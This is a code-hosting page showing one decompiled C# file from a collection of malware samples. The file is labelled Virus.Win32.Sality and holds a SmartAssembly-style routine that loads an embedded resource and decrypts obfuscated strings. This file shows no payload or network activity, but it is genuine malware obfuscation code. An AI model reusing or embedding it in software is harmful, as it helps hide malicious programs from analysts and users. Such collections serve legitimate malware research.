MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0006.cs
2022-08-18 06:28:56 -05:00

149 lines
4.7 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0001;
using \u0002;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0001
{
internal sealed class \u0006
{
[NonSerialized]
internal static \u0001.\u0002 \u0001;
private static string \u0001;
private static string \u0002;
private static byte[] \u0001;
private static Hashtable \u0001;
private static bool \u0001;
private static int \u0001;
public static string \u0003([In] int obj0)
{
string str1;
int num1;
int num2;
int num3;
byte[] numArray1;
string str2;
try
{
obj0 -= \u0006.\u0001;
if (\u0006.\u0001)
{
str1 = (string) \u0083\u0005.\u007E\u0005\u0006((object) \u0006.\u0001, (object) obj0);
if (str1 != null)
return str1;
}
num1 = 0;
num2 = obj0;
num3 = (int) \u0006.\u0001[num2++];
if ((num3 & 128) == 0)
{
num1 = num3;
if (num1 == 0)
return string.Empty;
}
else
num1 = (num3 & 64) != 0 ? ((num3 & 31) << 24) + ((int) \u0006.\u0001[num2++] << 16) + ((int) \u0006.\u0001[num2++] << 8) + (int) \u0006.\u0001[num2++] : ((num3 & 63) << 8) + (int) \u0006.\u0001[num2++];
string str3;
try
{
numArray1 = \u009A\u0004.\u008E\u0004(\u001E\u0003.\u007E\u0003\u0007((object) \u001F\u0003.\u0005\u0007(), \u0006.\u0001, num2, num1));
str2 = \u0084\u0005.\u0098\u0003(\u001E\u0003.\u007E\u0003\u0007((object) \u001F\u0003.\u0005\u0007(), numArray1, 0, numArray1.Length));
if (\u0006.\u0001)
{
try
{
\u0001\u0005.\u007E\u0002\u0006((object) \u0006.\u0001, (object) obj0, (object) str2);
}
catch
{
}
}
str3 = str2;
}
catch
{
str3 = (string) null;
}
return str3;
}
catch (Exception ex)
{
string str4 = str1;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) num1;
// ISSUE: variable of a boxed type
__Boxed<int> local2 = (ValueType) num2;
// ISSUE: variable of a boxed type
__Boxed<int> local3 = (ValueType) num3;
byte[] numArray2 = numArray1;
string str5 = str2;
string str6;
string str7 = str6;
// ISSUE: variable of a boxed type
__Boxed<int> local4 = (ValueType) obj0;
throw UnhandledException.\u0003(ex, (object) str4, (object) local1, (object) local2, (object) local3, (object) numArray2, (object) str5, (object) str7, (object) local4);
}
}
static \u0006()
{
Assembly assembly1;
Stream stream1;
int length;
byte[] numArray1;
try
{
\u0003.\u0003();
\u0006.\u0001 = "1";
\u0006.\u0002 = "17";
\u0006.\u0001 = (byte[]) null;
\u0006.\u0001 = (Hashtable) null;
\u0006.\u0001 = false;
\u0006.\u0001 = 0;
if (\u0008\u0003.\u0081\u0003(\u0006.\u0001, "1"))
{
\u0006.\u0001 = true;
\u0006.\u0001 = new Hashtable();
}
\u0006.\u0001 = \u008D\u0005.\u008C\u0004(\u0006.\u0002);
assembly1 = \u0003\u0003.\u0082\u0006();
stream1 = \u001F\u0004.\u007E\u001C\u0006((object) assembly1, "{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f}");
try
{
length = \u009F\u0004.\u0089\u0004(\u0006\u0004.\u007E\u0015\u0007((object) stream1));
numArray1 = new byte[length];
int num = \u008C\u0003.\u007E\u001B\u0007((object) stream1, numArray1, 0, length);
\u0006.\u0001 = \u0006.\u0003(numArray1);
numArray1 = (byte[]) null;
\u0087\u0005.\u007E\u0018\u0007((object) stream1);
}
finally
{
if (stream1 != null)
\u0087\u0005.\u007E\u001F\u0003((object) stream1);
}
}
catch (Exception ex)
{
Assembly assembly2 = assembly1;
Stream stream2 = stream1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) length;
byte[] numArray2 = numArray1;
throw UnhandledException.\u0003(ex, (object) assembly2, (object) stream2, (object) local, (object) numArray2);
}
}
}
}